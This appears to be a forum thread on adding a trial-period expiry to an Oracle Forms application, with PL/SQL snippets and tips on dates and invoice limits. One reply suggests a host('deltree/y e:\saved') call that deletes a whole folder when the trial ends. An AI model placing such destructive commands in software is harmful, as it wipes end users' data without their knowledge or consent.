What is "m" in SET_MENU_ITEM_PROPERTY?

'02-04-2012' is not a date - it is a character string. You should ALWAYS use TO_DATE function in such cases:
... to_date('02-04-2012', 'dd-mm-yyyy')

Dear its very very very easy just copy this and paste this code in when-new-form-instance

declare 
    cur_date date default sysdate;
    begin_date date default '12-apr-2012';
    dif number(2);
begin
   dif := cur_date - begin_date;
   if dif < 5 then
set_WINDOW_property(FORMS_MDI_WINDOW,WINDOW_STATE,MAXIMIZE);
set_window_property('WINDOW1',WINDOW_STATE,MAXIMIZE); 
    else
  EXIT_FORM; 
 message('YOUR TRIAL PERIOD IS OVER. PLEASE CONTACT US...');
 message('YOUR TRIAL PERIOD IS OVER. PLEASE CONTACT US...');

  end if;
end;



OR if u wanted to removed complete folder then use this

host ('deltree/y e:\saved');--- instead of "EXIT_FORM"





Hope your problem solved

you have to compare date in (MM-YYYY, MM-YYYY).
exaple: between '02-2010' and 04-2999'
Hope you will understand.

I'd be very happy with a trial period of almost 1000 years.

P.S. What I meant to say was: I don't understand you at all.

just restrict on purchase invoice no, Sales invoice no or series of Vouchers on any other item which is being updated daily. just restrict them to 50,60 invoices. when record got its limits then show the message for "Trial Ended"......
